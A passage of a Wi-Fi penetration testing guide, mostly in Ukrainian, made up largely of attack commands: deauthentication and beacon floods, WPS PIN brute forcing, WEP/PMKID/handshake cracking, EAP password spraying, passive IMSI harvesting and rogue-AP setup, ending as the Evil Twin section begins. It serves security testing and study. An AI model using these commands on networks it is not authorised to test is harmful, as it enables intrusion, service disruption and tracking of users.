Pentesting Wifi
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Базові команди Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Інструменти
Hijacker & NexMon (вбудований Wi-Fi в Android)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Запустити airgeddon з docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати шаблон phishing, щоб отримати реальний пароль network або перехопити social network credentials.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Цей інструмент автоматизує WPS/WEP/WPA-PSK атаки. Він автоматично:
- Встановлює інтерфейс у monitor mode
- Сканує можливі мережі - і дозволяє вибрати ціль(і)
- Якщо WEP - запускає WEP атаки
- Якщо WPA-PSK
- Якщо WPS: Pixie dust attack та brute-force attack (зверніть увагу: brute-force attack може зайняти багато часу). Зауважте, що він не пробує null PIN або database/generated PINs.
- Намагається захопити PMKID з AP, щоб crack it
- Спробує deauthenticate клієнтів AP, щоб захопити handshake
- Якщо PMKID або Handshake, спробує bruteforce використовуючи top5000 паролів.
Підсумок атак
- DoS
- Deauthentication/disassociation – Відключає всіх (або певний ESSID/Client)
- Random fake APs – Приховує мережі, може спричинити збій сканерів
- Overload AP – Намагається вивести AP з ладу (зазвичай не дуже корисно)
- WIDS – Робота з IDS
- TKIP, EAPOL – Деякі специфічні атаки для DoS певних AP
- Cracking
- Crack WEP (кілька інструментів і методів)
- WPA-PSK
- WPS pin “Brute-Force”
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] – Useful to capture captive portal creds and/or perform LAN attacks
- WPA-PSK Evil Twin – Useful to network attacks if you know the password
- WPA-MGT – Useful to capture company credentials
- KARMA, MANA, Loud MANA, Known beacon
- + Open – Useful to capture captive portal creds and/or perform LAN attacks
- + WPA – Useful to capture WPA handshakes
Open / OWE networks quick notes
- Passive capture on open SSIDs still works with monitor mode and tcpdump:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
- OWE (Opportunistic Wireless Encryption) виконує обмін ключами на рівні кожної станції (no PSK), тому кадри в ефірі шифруються навіть на “open” SSID. Оскільки базується на WPA3, воно також застосовує 802.11w PMF, яке блокує підроблені deauth/disassoc кадри.
- OWE не автентифікує клієнтів: будь-хто може асоціюватися, тому перевіряйте ізоляцію клієнтів замість того, щоб довіряти маркетинговим заявам. Без ізоляції ARP spoofing або responder-style poisoning на локальному L2 все ще працює.
- Evil Twin залишається можливим на open/OWE SSID шляхом подачі сильнішого сигналу; PMF лише прибирає скорочення через deauth. Якщо жертви приймуть підроблений TLS cert, повний HTTP(S) MitM відновлюється.
- Broadcast poisoning on open guest Wi-Fi легко дає creds/hashes (LLMNR/NBT-NS/mDNS). Дивіться:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
DOS
Deauthentication Packets
Опис з here:.
Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging “management” frames to forcefully disconnect devices from a network. These unencrypted packets deceive clients into believing they are from the legitimate network, enabling attackers to collect WPA handshakes for cracking purposes or to persistently disrupt network connections. This tactic, alarming in its simplicity, is widely used and has significant implications for network security.
Deauthentication за допомогою Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 означає deauthentication
- 1 — кількість deauths для відправки (можна відправити кілька, якщо бажаєте); 0 означає відправляти їх безперервно
- -a 00:14:6C:7E:40:80 — MAC address точки доступу
- -c 00:0F:B5:34:30:30 — MAC address клієнта, якого потрібно deauthenticate; якщо це опущено, надсилається broadcast deauthentication (працює не завжди)
- ath0 — назва інтерфейсу
Disassociation Packets
Disassociation packets, подібні до deauthentication packets, є типом керуючого кадру, що використовується у Wi‑Fi мережах. Ці пакети призначені для розриву з’єднання між пристроєм (наприклад, ноутбуком або смартфоном) та точкою доступу (AP). Основна відмінність між disassociation і deauthentication полягає в їхніх сценаріях використання. У той час як AP випускає deauthentication packets для явного видалення rogue devices з мережі, disassociation packets зазвичай надсилаються, коли AP вимикається, перезапускається або переміщується, що вимагає відключення всіх підключених вузлів.
Цю атаку можна виконати за допомогою mdk4(mode “d”):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Більше DOS attacks від mdk4
У here.
ATTACK MODE b: Beacon Flooding
Надсилає beacon frames, щоб показати fake APs клієнтам. Іноді це може спричинити збій мережевих сканерів і навіть драйверів!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Відправлення authentication frames усім доступним Access Points (APs) в зоні досяжності може перевантажити ці APs, особливо коли задіяно багато clients. Такий інтенсивний трафік може призвести до нестабільності системи, через що деякі APs можуть зависати або навіть перезавантажуватися.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Probing Access Points (APs) перевіряє, чи SSID правильно відображається і підтверджує радіус дії AP. Ця техніка, у поєднанні з bruteforcing hidden SSIDs з або без wordlist, допомагає ідентифікувати та отримати доступ до прихованих мереж.
ATTACK MODE m: Michael Countermeasures Exploitation
Надсилання випадкових або дубльованих пакетів до різних QoS черг може спричинити активацію Michael Countermeasures на TKIP APs, що призведе до вимкнення AP на одну хвилину. Цей метод є ефективною тактикою атаки DoS (Denial of Service).
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Затоплення AP EAPOL Start frames створює фальшиві сесії, перевантажуючи AP і блокуючи легітимних клієнтів. Альтернативно, ін’єкція fake EAPOL Logoff messages примусово відключає клієнтів; обидва методи ефективно порушують роботу мережі.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Атаки для IEEE 802.11s mesh-мереж
Різні атаки на керування каналами зв’язку та маршрутизацію в mesh-мережах.
ATTACK MODE w: WIDS Confusion
Перепідключення клієнтів до кількох WDS-вузлів або підробних rogue APs може маніпулювати Intrusion Detection and Prevention Systems, створюючи плутанину і потенційне зловживання системою.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
Packet fuzzer, що має різноманітні джерела пакетів і повний набір модифікаторів для маніпуляції пакетами.
Airggedon
Airgeddon пропонує більшість атак, згаданих у попередніх коментарях:
.png)
WPS
WPS (Wi‑Fi Protected Setup) спрощує процес підключення пристроїв до роутера, пришвидшуючи налаштування та полегшуючи його для мереж, зашифрованих за допомогою WPA або WPA2 Personal. Він неефективний стосовно легко зламуємої безпеки WEP. WPS використовує 8-значний PIN, який перевіряється в двох частинах, що робить його вразливим до brute-force атак через обмежену кількість комбінацій (приблизно 11 000 варіантів).
WPS Bruteforce
Є 2 основні інструменти для виконання цієї операції: Reaver і Bully.
- Reaver створений як надійний і практичний інструмент для атаки проти WPS і тестувався на великій різноманітності точок доступу та реалізацій WPS.
- Bully — нова реалізація WPS brute force attack, написана на C. Має кілька переваг над оригінальним кодом reaver: менше залежностей, покращена продуктивність пам’яті та CPU, коректне оброблення endianness і більш стійкий набір опцій.
Атака експлуатує вразливість WPS PIN, зокрема витік перших чотирьох цифр і роль останньої цифри як контрольної суми, що спрощує brute-force атаку. Однак захисти від brute-force атак, такі як блокування MAC-адрес агресивних атакуючих, вимагають ротації MAC-адрес для продовження атаки.
Отримавши WPS PIN за допомогою інструментів типу Bully або Reaver, атакуючий може вивести WPA/WPA2 PSK, забезпечивши постійний доступ до мережі.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Цей вдосконалений підхід націлений на WPS PINs, використовуючи відомі вразливості:
- Pre-discovered PINs: Використовуйте базу даних відомих PINs, пов’язану з конкретними виробниками, які відомі тим, що використовують однакові WPS PINs. Ця база даних корелює перші три октети MAC-addresses з ймовірними PINs для цих виробників.
- PIN Generation Algorithms: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PINs на основі AP’s MAC-address. Arcadyan algorithm додатково вимагає device ID, додаючи шар до процесу генерації PINs.
WPS Pixie Dust attack
Dominique Bongard виявив вразливість у деяких Access Points (APs), пов’язану зі створенням секретних кодів, відомих як nonces (E-S1 і E-S2). Якщо ці nonces можна вирахувати, злам WPS PIN AP стає простим. AP розкриває PIN у спеціальному коді (hash), щоб довести, що він легітимний, а не підроблений (rogue) AP. Ці nonces по суті є «ключами» до відкриття «сейфу», в якому зберігається WPS PIN. Більше про це можна знайти here.
Простіше кажучи, проблема в тому, що деякі APs не використовували достатньо випадкові ключі для шифрування PIN під час процесу встановлення з’єднання. Це робить PIN вразливим до вгадування ззовні мережі (offline brute force attack).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Якщо ви не хочете переводити пристрій у monitor mode, або reaver і bully дають якісь проблеми, можна спробувати OneShot-C. Цей інструмент може виконувати Pixie Dust attack без необхідності перемикання в monitor mode.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin атака
Деякі погано спроєктовані системи навіть дозволяють доступ за допомогою Null PIN (порожнього або неіснуючого PIN), що досить незвично. Інструмент Reaver здатний перевіряти цю вразливість, на відміну від Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Усі запропоновані WPS атаки можна легко виконати за допомогою airgeddon.
.png)
- 5 і 6 дозволяють спробувати your custom PIN (якщо він у вас є)
- 7 і 8 виконують Pixie Dust attack
- 13 дозволяє протестувати NULL PIN
- 11 і 12 будуть recollect the PINs related to the selected AP from available databases та generate можливі PINs за допомогою: ComputePIN, EasyBox і опційно Arcadyan (рекомендовано, чому б і ні?)
- 9 і 10 перевірятимуть every possible PIN
WEP
Чому він ламається
- RC4 seed — це лише IV (24 bits) + shared key. IV знаходиться у відкритому тексті, дуже малий (2^24) і швидко повторюється, тому ciphertexts з тим самим IV повторно використовують keystream.
- XORing двох ciphertexts з тим самим keystream leaks
PlaintextA ⊕ PlaintextB; передбачувані headers + RC4 KSA biases (FMS) дозволяють «голосувати» за байти ключа. PTW оптимізує це, використовуючи ARP traffic, щоб знизити вимоги до десятків тисяч пакетів замість мільйонів. - Цілісність забезпечується лише CRC32 (linear/unkeyed), тож атакуючий може змінювати біти і перерахувати CRC32 без ключа → packet forgery/replay/ARP injection під час очікування IVs.
Практичний злом є детермінованим:
airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap # PTW attack recovers key once IV threshold is met
Airgeddon все ще включає “All-in-One” WEP workflow, якщо ви віддаєте перевагу керованому UI.
.png)
WPA/WPA2 PSK
PMKID
У 2018 році hashcat revealed новий метод атаки, унікальний тим, що потребує лише одного пакета і не вимагає наявності клієнтів, підключених до цільової AP — достатньо взаємодії між атакувачем і AP.
Багато сучасних роутерів додають необов’язкове поле до першого EAPOL кадру під час асоціації, відоме як Robust Security Network. Воно містить PMKID.
Як пояснює оригінальний пост, PMKID створюється з використанням відомих даних:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Оскільки “PMK Name” є сталим, нам відомі BSSID AP і station, а PMK ідентичний тому з повного 4-way handshake, hashcat може використати цю інформацію, щоб crack the PSK and recover the passphrase!
Щоб gather цю інформацію і bruteforce локально пароль, ви можете зробити:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
PMKIDs captured будуть показані у console і також збережені в _ /tmp/attack.pcap_
Тепер конвертуйте захоплення у формат hashcat/john і зламайте його:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Зверніть увагу, формат коректного hash містить 4 частини, наприклад: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Якщо ваш містить лише 3 частини, то він є недійсним (PMKID capture не був дійсним).
Зауважте, що hcxdumptool також захоплює handshakes (з’явиться щось на кшталт: MP:M1M2 RC:63258 EAPOLTIME:17091). Ви можете перетворити ці handshakes у формат hashcat/john за допомогою cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
I have noticed that some handshakes captured with this tool couldn’t be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.
Захоплення handshake
Атака на WPA/WPA2 мережі може бути виконана шляхом захоплення handshake і спроби crack пароля offline. Цей процес передбачає моніторинг трафіку конкретної мережі та BSSID на певному channel. Ось спрощений посібник:
- Визначте BSSID, channel та connected client цільової мережі.
- Використайте
airodump-ngдля моніторингу мережевого трафіку на вказаному channel та BSSID, намагаючись захопити handshake. Команда виглядатиме так:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Щоб підвищити шанси на перехоплення handshake, тимчасово від’єднайте клієнта від мережі, щоб змусити повторну автентифікацію. Це можна зробити за допомогою команди
aireplay-ng, яка надсилає deauthentication packets клієнту:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Зверніть увагу, що оскільки клієнт був deauthenticated, він може спробувати підключитися до іншого AP або, у інших випадках, до іншої мережі.
Як тільки в airodump-ng з’являється інформація про handshake, це означає, що handshake зафіксовано, і ви можете припинити прослуховування:
 (1).png)
Після того, як handshake захоплено, ви можете crack його за допомогою aircrack-ng:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Перевірити наявність handshake у файлі
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Якщо цей інструмент знайде незавершений handshake ESSID перед завершеним, він не виявить дійсний handshake.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
Швидше онлайн-вгадування PSK через wpa_supplicant ctrl socket (no clients/PMKID)
Коли навколо немає clients і AP відмовляє у PMKID, ви можете перебирати PSKs онлайн без перезапуску supplicants:
- Змініть
wpa_supplicant.c, щоб примусово встановитиdur = 0;в логіці auth failure backoff (біляssid->auth_failures), що фактично відключає таймер temporary-disable. - Запустіть один daemon із control socket:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1
wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
- Керувати ним через інтерфейс керування, повторно використовуючи той самий scan і network:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED
Невеликий цикл на Python, який читає події сокета (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED), може перевірити ~100 припущень приблизно за 5 хвилин без накладних витрат на сканування. Це все ще шумно і виявляється, але уникає перезапусків процесів для кожної спроби та затримок backoff.
WPA Enterprise (MGT)
У корпоративних налаштуваннях WiFi ви зустрінете різні методи аутентифікації, кожен із яких забезпечує різні рівні безпеки та функції керування. Коли ви використовуєте інструменти на кшталт airodump-ng для аналізу мережевого трафіку, ви можете помітити ідентифікатори цих типів аутентифікації. Деякі поширені методи включають:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Цей метод підтримує hardware tokens і one-time passwords в рамках EAP-PEAP. На відміну від MSCHAPv2, він не використовує peer challenge і відправляє passwords у plaintext до access point, створюючи ризик для downgrade attacks.
- EAP-MD5 (Message Digest 5):
- Включає відправку MD5 хешу пароля з клієнта. Його не рекомендовано через вразливість до dictionary attacks, відсутність server authentication і неможливість генерувати session-specific WEP keys.
- EAP-TLS (Transport Layer Security):
- Використовує як client-side, так і server-side certificates для аутентифікації та може динамічно генерувати user-based і session-based WEP keys для захисту зв’язку.
- EAP-TTLS (Tunneled Transport Layer Security):
- Забезпечує mutual authentication через зашифрований тунель, а також метод для отримання dynamic, per-user, per-session WEP keys. Потребує тільки server-side certificates, клієнти використовують credentials.
- PEAP (Protected Extensible Authentication Protocol):
- Працює подібно до EAP, створюючи TLS tunnel для захищеного обміну. Дозволяє використовувати слабші authentication protocols поверх EAP завдяки захисту тунелю.
- PEAP-MSCHAPv2: Часто називається просто PEAP, комбінує вразливий MSCHAPv2 challenge/response механізм з захисним TLS тунелем.
- PEAP-EAP-TLS (or PEAP-TLS): Подібний до EAP-TLS, але ініціює TLS тунель перед обміном сертифікатами, додаючи додатковий рівень безпеки.
You can find more information about these authentication methods here and here.
Username Capture
Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the “Identity” messages must be supported, and the username is going to be sent in clear in the “Response Identity” messages.
Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng inside a channel and wireshark in the same interface) and filter the packets byeapol.
Inside the “Response, Identity” packet, the username of the client will appear.
.png)
Anonymous Identities
Identity hiding is supported by both EAP-PEAP and EAP-TTLS. In the context of a WiFi network, an EAP-Identity request is typically initiated by the access point (AP) during the association process. To ensure the protection of user anonymity, the response from the EAP client on the user’s device contains only the essential information required for the initial RADIUS server to process the request. This concept is illustrated through the following scenarios:
- EAP-Identity = anonymous
- In this scenario, all users employ the pseudonymous “anonymous” as their user identifier. The initial RADIUS server functions as either an EAP-PEAP or EAP-TTLS server, responsible for managing the server-side of the PEAP or TTLS protocol. The inner (protected) authentication method is then either handled locally or delegated to a remote (home) RADIUS server.
- EAP-Identity = anonymous@realm_x
- In this situation, users from different realms conceal their identities while indicating their respective realms. This allows the initial RADIUS server to proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms, which act as the PEAP or TTLS server. The initial RADIUS server operates solely as a RADIUS relay node.
- Alternatively, the initial RADIUS server may function as the EAP-PEAP or EAP-TTLS server and either handle the protected authentication method or forward it to another server. This option facilitates the configuration of distinct policies for various realms.
In EAP-PEAP, once the TLS tunnel is established between the PEAP server and the PEAP client, the PEAP server initiates an EAP-Identity request and transmits it through the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user’s true identity through the encrypted tunnel. This approach effectively prevents the revelation of the user’s actual identity to anyone eavesdropping on the 802.11 traffic.
EAP-TTLS follows a slightly different procedure. With EAP-TTLS, the client typically authenticates using PAP or CHAP, secured by the TLS tunnel. In this case, the client includes a User-Name attribute and either a Password or CHAP-Password attribute in the initial TLS message sent after tunnel establishment.
Regardless of the protocol chosen, the PEAP/TTLS server obtains knowledge of the user’s true identity after the TLS tunnel has been established. The true identity can be represented as user@realm or simply user. If the PEAP/TTLS server is also responsible for authenticating the user, it now possesses the user’s identity and proceeds with the authentication method protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request omits the PEAP or TTLS protocol layer. In cases where the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity, replacing the anonymous User-Name from the incoming RADIUS request. When the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes extracted from the TLS payload are substituted in the outgoing RADIUS message, displacing the anonymous User-Name and TTLS EAP-Message attributes found in the incoming RADIUS request.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy
Click to expand
```bash # 1) Enable monitor mode airmon-ng start wlan02) Optional: lock channel to the target BSS
airodump-ng wlan0mon –essid
3) Capture 802.1X/EAP frames
Wireshark display filters:
eap || eapol
(identity specifically): eap.code == 2 && eap.type == 1
Kismet: add source wlan0mon; enable 802.1X/EAP views
tcpdump (pcap capture):
tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
4) Wait for a device to auto-connect to the SSID
5) Inspect the first EAP-Response/Identity frame
Expected: ASCII NAI containing IMSI, e.g.
20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
</details>
Примітки:
- Працює до встановлення будь‑якого TLS тунелю, якщо розгортання використовує голий EAP‑SIM/AKA без захищеної ідентичності/псевдонімів.
- Розкритий параметр — постійний ідентифікатор, прив'язаний до SIM абонента; збір таких даних дозволяє довготривале відстеження та подальші зловживання в телекомунікаціях.
Вплив
- Конфіденційність: постійне відстеження користувачів/пристроїв через пасивні Wi‑Fi перехоплення в громадських місцях.
- Початок зловживань у телекомах: маючи IMSI, атакуючий з доступом до SS7/Diameter може запитувати місцеперебування або намагатися перехопити дзвінки/SMS та вкрасти MFA.
Заходи пом'якшення / на що звертати увагу
- Переконайтеся, що клієнти використовують анонімні зовнішні ідентичності (псевдоніми) для EAP‑SIM/AKA відповідно до рекомендацій 3GPP (наприклад, 3GPP TS 33.402).
- Віддавайте перевагу тунелюванню фази ідентифікації (наприклад, EAP‑TTLS/PEAP, які несуть внутрішній EAP‑SIM/AKA), щоб IMSI ніколи не відправлявся в явному вигляді.
- Захоплення пакетів під час association/auth ніколи не повинне розкривати сирий IMSI у EAP-Response/Identity.
Пов'язано: Експлуатація телеком сигналізації з захопленими мобільними ідентифікаторами
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>
### EAP-Bruteforce (password spray)
Якщо від клієнта очікується використання **username and password** (зверніть увагу, що **EAP-TLS won't be valid** у цьому випадку), то можна спробувати отримати **list** **usernames** (див. наступну частину) та **passwords** і здійснити **bruteforce** доступу за допомогою [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Ви також можете виконати цю атаку за допомогою eaphammer:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Client attacks Theory
Network Selection and Roaming
- Протокол 802.11 визначає, як станція приєднується до Extended Service Set (ESS), але не визначає критерії вибору ESS або access point (AP) в його межах.
- Станції можуть роумінгувати між AP, що мають однаковий ESSID, підтримуючи підключення по всьому будинку або території.
- Протокол вимагає аутентифікації станції до ESS, але не зобов’язує AP аутентифікуватись перед станцією.
Preferred Network Lists (PNLs)
- Станції зберігають ESSID кожної бездротової мережі, до якої вони підключались, у своєму Preferred Network List (PNL), разом із параметрами конфігурації конкретної мережі.
- PNL використовується для автоматичного підключення до відомих мереж, покращуючи досвід користувача шляхом спрощення процесу підключення.
Passive Scanning
- AP періодично транслюють beacon frames, оголошуючи про свою присутність та характеристики, включно з ESSID AP, якщо трансляція не вимкнена.
- Під час passive scanning станції слухають beacon frames. Якщо ESSID у beacon співпадає із записом у PNL станції, вона може автоматично підключитися до цього AP.
- Знання PNL пристрою дає можливість потенційної експлуатації, імітуючи ESSID відомої мережі і вводячи пристрій в оману для підключення до rogue AP.
Active Probing
- Active probing передбачає відправлення станціями probe requests для виявлення сусідніх AP та їх характеристик.
- Directed probe requests орієнтовані на конкретний ESSID, допомагаючи визначити, чи знаходиться певна мережа в зоні досяжності, навіть якщо вона прихована.
- Broadcast probe requests мають поле null SSID і надсилаються всім сусіднім AP, дозволяючи станції перевірити наявність будь-якої preferred network без розкриття вмісту PNL.
Simple AP with redirection to Internet
Before explaining how to perform more complex attacks it’s going to be explained how to just create an AP and redirect it’s traffic to an interface connected to the Internet.
Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Створіть конфігураційний файл /etc/dnsmasq.conf:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Потім налаштуйте IPs та routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
А потім запустіть dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Створіть конфігураційний файл hostapd.conf:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Зупиніть дратівливі процеси , встановіть monitor mode, і запустіть hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Переспрямування та перенаправлення
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Атака Evil Twin експлуатує спосіб, яким WiFi-клієнти розпізнають мережі, переважно покладаючись на ім’я мережі (ESSID) і не вимагаючи, щоб base station (access point) автентифікувався перед клієнтом. Ключові положення:
- Difficulty in Differentiation: Пристрої важко розрізняють легітимні й зловмисні access points, якщо вони мають однаковий ESSID і тип шифрування. У реальних мережах часто використовується кілька access points з тим самим ESSID для безшовного розширення покриття.
